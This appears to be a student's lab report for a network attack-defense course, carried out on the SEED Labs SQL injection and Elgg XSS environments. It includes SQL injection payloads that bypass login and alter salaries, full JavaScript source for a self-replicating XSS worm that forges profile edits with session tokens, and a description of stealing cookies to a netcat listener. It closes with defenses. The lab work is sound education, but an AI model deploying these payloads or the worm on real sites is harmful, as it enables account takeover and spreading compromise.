20251918 2024-2025-2 《网络攻防实践》实践十报告

1.实践内容

本周主要围绕两大Web安全漏洞——SQL注入与XSS跨站脚本攻击,进行了理论学习和完整的攻防实践。

1.1 SEED SQL注入攻击与防御实验

在已搭建的员工管理系统(www.SEEDLabSQLInjection.com)上,完成了四项任务:首先熟悉MySQL基本操作与SQL查询语法;然后针对登录页面的SELECT语句实施注入攻击,在不知道密码的情况下以管理员身份成功登录;接着利用个人信息编辑页面的UPDATE语句漏洞,通过构造恶意昵称参数篡改管理员的薪资数据;最后学习了如何通过参数化查询等手段防御SQL注入。

1.2 SEED XSS跨站脚本攻击实验(Elgg)

在Elgg社交平台(www.xsslabelgg.com)上,逐步推进XSS攻击的复杂度:从最基础的弹窗测试开始,到窃取并远程发送用户Cookie,再到编写JavaScript自动添加好友、篡改他人个人资料,最终开发出能够在用户间自我复制传播的XSS蠕虫。实验最后还通过启用HTMLawed插件,验证了输入过滤对XSS攻击的防御效果。

整个实践过程完整覆盖了“漏洞发现—漏洞利用—攻击升级—防御修复”这一安全研究的闭环逻辑。

2.实践过程

(1)实验环境配置,新建虚拟机
image
bbece566-4c3d-4b50-9a74-8b956a3cb724
image
image
0d54156f-5bc3-456a-82c5-31d33a7e52f7
image
image
image
image
image
image

2.1 SEED SQL注入攻击与防御实验

2.1.1 熟悉SQL语句

(1)首先输入hostname 20241909enke更改主机名,然后重新打开终端
469f0c88-4ab2-44fd-98d4-7362a5cf28bf
(2)首先我们需要利用指令 sudo service apache2 start 开启apache服务。通过下图我们可以看到服务器处于正在运行的状态。
dd748d44-7534-447d-8666-af559effd580
(2)使用命令 mysql -u root -pseedubuntu 登录MySQL数据库。
291e8e83-9519-41af-b27a-cda057cf7725
(3)利用指令 show databases;(注意千万不可以省略;)查看mysql中已有的数据库。
cb1b4921-159d-4516-9b8f-df544d9d80b5
(4)利用指令 use Users; 和 show tables;(注意“;”)进行切换数据库,并在查看Users数据库中的所有表。
670ef362-111e-4ecb-845b-740d319aee68
(5)利用sql语句 select * from credential; 查看credential中所有记录。
d422c08b-a219-460b-9beb-94bb6115065b
(6)使用sql语句 select * from credential where Name = 'Ted'; 查询Name为Ted的相关记录。
78446879-8be5-4bce-be0d-68b4944e9abf

2.1.2 对SELECT语句的SQL注入攻击

(1)首先在浏览器中输入 www.SEEDLabSQLInjection.com 进入已经搭建好的Web页面。可以看到是这样的一个登录界面:
5d972847-c614-4640-9df9-ccc3fa16aac9
(2)右键查看网页源码,选择view page source发现登陆的表单中使用 get 方法访问 unsafe_home.php,
f0e8c4ae-11ae-42f2-afbd-eb4d0c56ebd2
fc24432c-30bc-476e-87e1-7e3baebce52f
(3)相关的文件可以利用文件夹进行查看,其地址为:/var/www/SQLInjection/unsafe_home.php。通过下面两个图我们可以看到,该程序针对admin和普通用户具有不同的处理方法。
b624a5f2-0719-48e8-8370-302313e508ef
97028a14-921c-456a-9f30-d24f4a1cd4ae
(4)因此针对程序代码,我们可以构造 Admin'#,并让 $input_uname 等于该值。通过这样的方法我们便可以在不知道密码的情况下以admin用户进行登录,如下图,密码随机输入:
b93bb0ce-ce8e-4584-af97-fba98f1bdeed
可以看到成功登录
d84fcf5a-08a8-4931-9201-a2b2cde87693

2.1.3 对 UPDATE语句的SQL注入攻击

(1)首先查看 Edit_Profile 页面的源代码。点击上方的 Edit Profile 进入更新页面,然后右键查看源代码。
582ac33d-256f-4283-9bc5-84f3e82bc55b
(2)从下图我们看到,表单依旧是以 get 方式将数据发到 unsafe_edit_backend.php 页面。
f8368e71-1c40-4167-a372-d554022487bf
(3)跟上一个类似,依旧是用文件夹查看 unsafe_edit_backend.php 页面,其地址为 /var/www/SQLInjection/unsafe_edit_backend.php。
09362239-1a0c-40cb-9871-f8d1c2ab662d
c3f5ee75-b479-4bfc-a36c-fd1a93901d94
我们可以看到UPDATE更新语句处,我们可以通过构造 $input_nickname 的值来进行SQL注入攻击。我们可以使 $input_nickname 的值等于 ', Salary='20251918' where name='Admin'; #,也就是把Admin的Salary改为20251918。
(4)4、在NickName处输入 ', Salary='20251918 'where name='Admin'; #
bd4ef5ed-4bfe-4117-95e6-b5f54e9ab0a7
e2546f53-a20d-467d-af52-80269a5f390f
可以看到Admin的Salary已经改为251918

2.2 SEED XSS跨站脚本攻击实验

2.2.1 原始xss

(1)首先在浏览器中访问 http://www.xsslabelgg.com
image
(2)使用账号:Alice,密码:seedalice 进行登录。
image
(3)点击Alice头像进入主页,再选择 Edit profile,最后在 Brief description中输入XSS攻击代码 。

这段代码执行xss跨站脚本攻击其中alert函数可以在前端打印信息,这里我们选择打印字符串“xss”。
image
image
image

2.2.2 弹窗显示cookie信息:将cookie信息显示

(1)在 Edit profile 里面的 Brief description 中输入xss攻击代码

目的是打印网站的cookie值。
image
(2)2.点击保存后,会显示出如下cookie的信息。这仅是xss的一个基本用途。
image

2.2.3 窃取受害者的cookies:将cookie发送给攻击者

(1)因为需要把cookie发送给攻击者,因此首先查看seed虚拟机的IP地址,从下图可以看出,IP地址为:192.168.200.137。
image
(2)根据seed的IP地址构造xss攻击代码(端口号选择我的学号后四位),在 Edit profile 里面的 Brief description 中输入xss攻击代码 并保存。
image
(3)切换账号,使用boby的账号进行登录。账号:Boby,密码:seedboby。再终端里使用指令 nc -l 1918 -v 监听1918端口。
image
(4)boby账号访问Alice,成功得到Boby的cookie。
image

2.2.4 成为受害者的朋友

(1)使用Alice的账户访问Boby的主页,打开开发者工具,点击添加好友这一按钮,下方显示请求代码,说明要发送一个附带id时间戳与token三个参数的请求
image
image
(2)到Alice主页中的Edit profile处,在about me模块中加入如下代码
ef3cec48-1b45-4e89-8be7-2c8c4be1614e

a053bb36-58a8-49fe-9f30-ad468a3da123
(3)点击保存后回到主页发现已经自动添加Boby为好友
image

2.2.5修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改

(1)在Alice的About me中插入以下恶意代码

点击查看代码
<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
 
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack again by 20251918hjh"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
 
        var aliceGuid=44;
 
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>

image

image

image

2.2.6编写XSS蠕虫

(1)代码如下,依旧写入Alice的个人简介

点击查看代码
<script id="worm" type="text/javascript">

window.onload = function(){

var headerTag =
"<script id=\'worm\' type=\'text/javascript\'>";

var jsCode =
document.getElementById("worm").innerHTML;

var tailTag = "</" + "script>";

var wormCode =
encodeURIComponent(headerTag + jsCode + tailTag);

var userName=elgg.session.user.name;

var guid="&guid="+elgg.session.user.guid;

var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;

var token="&__elgg_token="+elgg.security.token.__elgg_token;

var content=
token + ts +
"&name=" + userName +
"&description=<p>20251918hjh arrived"
+ wormCode + "</p>" + guid;

var sendurl =
"http://www.xsslabelgg.com/action/profile/edit";

if(elgg.session.user.guid!=44){

var Ajax=null;

Ajax=new XMLHttpRequest();

Ajax.open("POST",sendurl,true);

Ajax.setRequestHeader(
"Content-Type",
"application/x-www-form-urlencoded"
);

Ajax.send(content);
}
}
</script>

image
(2)登录boby账号访问alice主页后,boby的简介被改
image
(3)使用 Admin 账号(密码 seedelgg)访问 Boby 主页,Admin 也被感染,证明蠕虫可以在用户之间自动传播。
image

2.2.7对抗XSS攻击

(1)登录管理员账户,账号:admin,密码:seedelgg,并在Account-Administration-Plugins中找到HTMLawed点按Actived按钮将其打开,此时画面显示deactived

image

(2)此时再访问alice的主页发现xss攻击被阻止了,对抗成功

image

3.学习中遇到的问题及解决

  • 问题1:
    877d9b5d-3376-4a69-9b88-8c2a0bb56124

  • 问题1解决方案:格式错误少打一个s重新输入可解决

4.实践总结

通过本次实践,我对 SQL 注入和 XSS 攻击有了从原理到实操的系统认识。SQL 注入实验中,简单的(Admin'# ) 就能绕过认证,Update 注入还可跨字段篡改他人薪酬,这让我深刻理解了“拼接用户输入”的危险性,意识到参数化查询才是防御根本。XSS 实验的攻击链条尤为深刻:从弹窗、窃取 Cookie、自动添加好友,到最终编写出自复制蠕虫,完整展示了存储型 XSS 的巨大破坏力。蠕虫通过 JavaScript 自读取并编码写入受害者页面,实现了自动传播,而开启 HTMLawed 插件后的有效阻断,也验证了内容过滤作为纵深防御的必要性。实验中因拼写错误导致的失败,也提醒我安全攻防对细节要求极高。整个闭环实践既锻炼了动手能力,也让我更加重视输入验证与输出编码,今后会将安全意识融入每个编码环节。

posted on 2026-05-30 11:17  jh163  阅读(18)  评论(0)    收藏  举报